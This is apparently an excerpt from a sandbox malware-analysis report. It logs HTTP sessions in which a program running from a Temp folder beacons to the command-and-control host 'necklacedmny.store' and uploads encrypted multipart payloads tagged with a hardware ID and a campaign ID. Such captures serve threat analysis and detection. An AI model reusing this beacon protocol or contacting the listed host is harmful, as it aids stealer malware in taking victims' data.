2024-11-01 09:57:39 UTC	1021	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:57:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4kljo86qu198c4sv76v9v0mda6; expires=Tue, 25-Feb-2025 03:44:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BMj0Pkm8Aprvqzof86TsBtZRbtMyhMhn0ZCFyOnMwgEY81QEr5NxKiH23yNKHlFJdVg3nStWHE44%2BVEThEpF8E%2BehFuNB608o9RNvL1SsoWBRJhGIwke7%2F%2BwvcLmauEsIBdbpFo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb0598589b6b39-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1842&sent=16&recv=24&lost=0&retrans=0&sent_bytes=2844&recv_bytes=19132&delivery_rate=1573058&cwnd=251&unsent_bytes=0&cid=0488003cd4580024&ts=941&x=0"
2024-11-01 09:57:39 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 09:57:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	50026	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:57:40 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-11-01 09:57:40 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"420C14F6ADC7B7B7126FF666671B0391--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 09:57:41 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:57:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h96k0fq32glhmuuevpmprhf6v1; expires=Tue, 25-Feb-2025 03:44:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2zkRyQuudf16niOvLARFi5CXIhRq%2Be5wo4l6Hxli9V4K3mM0TZqOrsntFEYHSCAqIBnx6xjODcPFFg%2F9ZRchlnHB27ZwVMYPnrmmshHkF5Gq4FLjTZ19u1hulCOM4Kxth4xbd%2F0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb05a17c86e8ed-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2046&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9730&delivery_rate=1364107&cwnd=233&unsent_bytes=0&cid=4b7e51319b7769a5&ts=502&x=0"
2024-11-01 09:57:41 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 09:57:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	50035	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:57:41 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-11-01 09:57:41 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"420C14F6ADC7B7B7126FF666671B0391--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 09:57:41 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-11-01 09:57:42 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:57:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q1uqrm2jkqi91hds3qubdfjkfj; expires=Tue, 25-Feb-2025 03:44:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6R72P0ytoWuOZ5oVef5MEZUS%2BCnZDtOvxUmxN8w70CeqzFPrhH9vwvKLpIfIBYqmkHB6xyPSKFsZXm%2FLZo7j2pAjungdiM1hGkeBfPXI73xeETojNBS0bc4nVEs0q6ZFPwqlR0E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb05a9dc642e6d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1657&sent=13&recv=27&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21406&delivery_rate=2100072&cwnd=243&unsent_bytes=0&cid=19ce7f9b5288dc9a&ts=695&x=0"
2024-11-01 09:57:42 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 09:57:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	50049	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:57:43 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1289 Host: necklacedmny.store
2024-11-01 09:57:43 UTC	1289	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"420C14F6ADC7B7B7126FF666671B0391--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 09:57:43 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:57:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gdj7ronr31gioss53llig11rsa; expires=Tue, 25-Feb-2025 03:44:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xaNPmB36mIK%2BYdaGaaJQRBllFuO0qvBZHkZqvy%2BKyqyyQcS5PgkYhgCdvRy10sT%2BiPv3HU2tff%2FT8Xo%2F5NurpsLezBktkrH2x2hujQv4aJaJM8s75LfPgi1xjA%2B6DAEVtI5HsDw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb05b2fcfd4674-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1181&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2208&delivery_rate=2464680&cwnd=239&unsent_bytes=0&cid=599c92535a169804&ts=360&x=0"
2024-11-01 09:57:43 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 09:57:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	50058	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:57:45 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 48472 Host: necklacedmny.store
2024-11-01 09:57:45 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"420C14F6ADC7B7B7126FF666671B0391--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 09:57:45 UTC	15331	OUT	Data Raw: 51 16 f3 1b 99 1b 26 33 48 1a 04 ca 9a c7 97 45 36 e2 11 c8 5e 7e 4c 33 26 ed 58 fa d7 28 68 ad 74 a5 5b 22 c4 03 50 f5 97 b5 74 04 2c f8 b0 d4 61 0c b4 54 a2 a5 e5 eb d5 a7 16 65 89 a2 c0 19 69 b3 e4 03 94 6e ed a0 42 68 e0 c4 c6 85 56 ae 04 d5 e7 2d 90 ca a0 cc 65 41 b5 95 4c fc 4c b3 00 bb 82 dd e4 2f 18 0a 9c 17 20 4a 78 08 c9 ec 86 35 53 77 e5 fc dc a7 11 64 cc 0f 98 28 6e b1 2b 9f f4 fe 76 2f 03 20 f8 92 e3 89 84 74 fa d7 d9 50 bf b1 ce e7 7b 31 91 94 d1 85 37 25 d4 c9 8b 5a 7c 3e cb 4d c2 f4 7b 37 81 3d 1e ef 76 90 76 cb be 7c e1 e3 b9 f6 47 26 83 5b 63 0d 4b 9f 7c 64 49 35 50 e7 a6 fb e7 ee ab 58 ce b0 c3 2a d5 eb b1 27 6a 44 62 af 3b 1f 70 32 40 bd 10 67 7c 21 f9 96 d0 80 e5 39 c0 23 49 31 54 57 bd 4a 76 86 b3 75 a5 45 c2 de bc 3c 33 7a b1 4f e1 Data Ascii: Q&3HE6^~L3&X(ht["Pt,aTeinBhV-eALL/ Jx5Swd(n+v/ tP{17%Z\|>M{7=vv\|G&[cK\|dI5PX*'jDb;p2@g\|!9#I1TWJvuE<3zO
2024-11-01 09:57:45 UTC	15331	OUT	Data Raw: 2d 50 95 cf 4a 5d df 99 9f cd 1b dc 6b 4f af 75 63 7b da 53 de d6 86 3c ae b1 81 32 7b 0c 45 d9 fd f7 92 d6 d1 c6 a6 1b 33 e7 1f 2b 85 ba c5 46 a2 26 0a a4 ec 09 83 27 15 03 97 84 06 82 f0 c6 f6 2b c3 8e f6 43 ae 0b e9 56 cd 0a 48 33 61 33 22 be 18 24 02 b8 8a dc be 7d fb e1 8b 0c 49 3f b8 e5 99 b3 6c 25 80 29 cb 23 2f 74 96 49 40 aa 5b eb 3c 54 ee 53 da 6e 83 bf 4e 55 2f f3 c3 9f 63 5f 23 70 59 f2 7b f7 02 3f 5b 06 1b 8e 91 74 e4 b9 9b 1c 75 8d 5e c8 f3 41 4a 6e fd f3 37 9a 2b 7d f2 ed d2 6d 3f 51 45 cc f1 cd 2f 86 42 c1 5f 9c 9b d5 a0 95 93 c9 b5 b7 bc ad 42 3a b7 48 0b 2f d2 c8 94 6d c3 50 af 15 39 48 c5 c3 24 94 55 97 a9 33 64 ea c2 93 dc e2 a6 01 c6 32 90 35 65 f0 85 0a 65 60 59 b3 96 9c 79 8d a8 f8 10 6c b2 92 7b e2 3c 0a 2e f9 57 3b e9 e6 c3 5a 02 Data Ascii: -PJ]kOuc{S<2{E3+F&'+CVH3a3"$}I?l%)#/tI@[<TSnNU/c_#pY{?[tu^AJn7+}m?QE/B_B:H/mP9H$U3d25ee`Yyl{<.W;Z
2024-11-01 09:57:45 UTC	2479	OUT	Data Raw: 49 6e bc 65 38 75 82 e3 9f 43 34 35 5f 6f 33 bf 44 08 9f ce 7a 90 c7 9b ac a2 28 4c 6a ee b9 e0 98 a8 14 ef 86 62 7d ff 59 65 d3 78 0e 88 a2 f4 3f 55 c3 15 84 0f d7 17 66 06 27 6e 09 30 ac a4 b5 9b 2f bc 65 17 c8 83 bd e7 18 55 b8 2e bf 2a 97 0e b5 31 6d da f2 88 67 2f db 19 98 6f 03 2d 6a d1 d0 00 2f 0f db 5a 7b 88 81 2b 06 5b 4d cf de ea d7 92 2e c2 fb b9 2c ea 99 2d 23 ca 89 70 2d 6b 3d 01 0d 7b d0 31 ea 1b 67 73 d9 5f 2d 1d ce 04 37 d7 be e7 43 8a fe f4 cd 28 72 57 ad 91 19 43 84 85 39 df d3 e2 fe c1 19 1b 0b f1 4c de 10 c7 d3 89 0b c6 b5 e1 f6 13 82 84 03 0c 6d fe 6a ca 34 6d 99 92 bd 46 5a a5 7e 99 1d 97 a4 0c af 7b 7f 70 f3 a6 ea fb 4f d5 f9 7d 12 46 bd db 4a 97 cb 78 f2 b8 78 cf 38 94 f9 a3 b0 31 0b 41 b1 7b 34 f7 5b fb 71 53 ee e5 f0 2f 6f ae 98 Data Ascii: Ine8uC45_o3Dz(Ljb}Yex?Uf'n0/eU.*1mg/o-j/Z{+[M.,-#p-k={1gs_-7C(rWC9Lmj4mFZ~{pO}FJxx81A{4[qS/o
2024-11-01 09:57:46 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:57:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7n0ak9h4lnb5omf9luk40ktoml; expires=Tue, 25-Feb-2025 03:44:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yyjcXSmM2UiCOQJFT0C4N5xgg8O7CCXZzvQEBa7QHGHOq8uoY%2FI9UwwwjlVVqwnCMNAoaO9ZXLbsogphhxlCRQ8kLvpB%2BoBcH6TkGnLSLZuAVfxJXRgFp%2FJOd05%2Fj7LqqwKNc2o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb05c2dfff45f6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1167&sent=23&recv=56&lost=0&retrans=0&sent_bytes=2845&recv_bytes=49524&delivery_rate=2429530&cwnd=238&unsent_bytes=0&cid=eb52aaa7a82efb0a&ts=963&x=0"
2024-11-01 09:57:46 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 09:57:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50056	188.114.97.3	443	5448	C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:57:45 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 29026 Host: necklacedmny.store
2024-11-01 09:57:46 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"420C14F6ADC7B7B7126FF666671B0391--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 09:57:46 UTC	13695	OUT	Data Raw: 9a 8b ed db 12 b6 3e de d2 12 3b bc f5 ba cf e2 ff 6c 56 27 c4 71 2c eb 23 45 97 5d 54 13 3b ac 45 46 6c 0b fa 27 07 3a 78 1c d8 d6 f9 4f 77 6c ca 91 ff eb db 47 77 7e 14 af 18 53 17 d6 93 b9 66 f5 05 89 70 9a c7 2f fb 65 9d 7f 68 8c 07 9b cc 85 5c 47 dc 7b 75 2e dc 45 03 83 ea df ca 8e 46 e3 39 3f bf 38 3a 42 a0 06 f9 90 fa 21 d7 52 cf 01 ee 16 03 22 49 97 7e 0e 2c d6 c4 d1 de ff 25 ba 99 08 96 7d 74 e7 9e 6a 67 c1 83 a4 f0 d4 22 5d e8 40 9f 44 ab 27 56 4f d8 7e 34 dc 6f 9b ef f3 c2 a8 5f 6e d5 88 0a 7e 02 53 94 84 39 38 5a fa 8f d7 16 91 0e b9 84 dd 28 6f 72 2d 57 4e 65 7c ac 06 89 06 91 03 3a 4e ef d9 cd 6b a5 92 8f 36 18 4b cd 65 a9 f9 25 43 6b 8b 9b 78 47 9c 8f 19 e4 6f 8f a4 d1 1f 52 e2 d6 7b f0 9f a1 32 a5 04 c2 90 8e d6 95 bf 6e 6c 51 56 96 22 df Data Ascii: >;lV'q,#E]T;EFl':xOwlGw~Sfp/eh\G{u.EF9?8:B!R"I~,%}tjg"]@D'VO~4o_n~S98Z(or-WNe\|:Nk6Ke%CkxGoR{2nlQV"
2024-11-01 09:57:46 UTC	1023	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:57:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f97bahtb3k7r47lemihjtp154g; expires=Tue, 25-Feb-2025 03:44:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xALlMW%2F1Q4dl7R90siPgppQnpf9UZnpIM4CxO4sMuB9JkP6Num%2FBBcEgBjBxNsNHYXpNwKtqy4TOi2GI20vd%2BOhch%2BVfvIdjyG%2FCT6VOOZadxPMXj%2BuC4ePUIhNOe2z3SKWVjus%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb05c2d897a922-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1573&sent=16&recv=37&lost=0&retrans=0&sent_bytes=2846&recv_bytes=30012&delivery_rate=1837563&cwnd=185&unsent_bytes=0&cid=d7c7f7848e263002&ts=913&x=0"
2024-11-01 09:57:46 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 09:57:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	50072	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:57:47 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 09:57:47 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=420C14F6ADC7B7B7126FF666671B0391
2024-11-01 09:57:48 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:57:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0dh2s5vg36tepum198h47cafpb; expires=Tue, 25-Feb-2025 03:44:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rz0fadh9qSMZoDlgIgbIjsS8toGs0xYqehHQm%2FAB%2FUaQPNTul%2F%2FLFNma2OiCIZtWCCw3p3phsWi74PS6BUyapcg62yqUIDsZaNgoY8VERYbyWPPrOkQd0U5Db%2BzEBpJbXZtDQ9M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb05cd1a412ca8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2089&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=1358986&cwnd=251&unsent_bytes=0&cid=39f7f0ac94e0e7b9&ts=496&x=0"
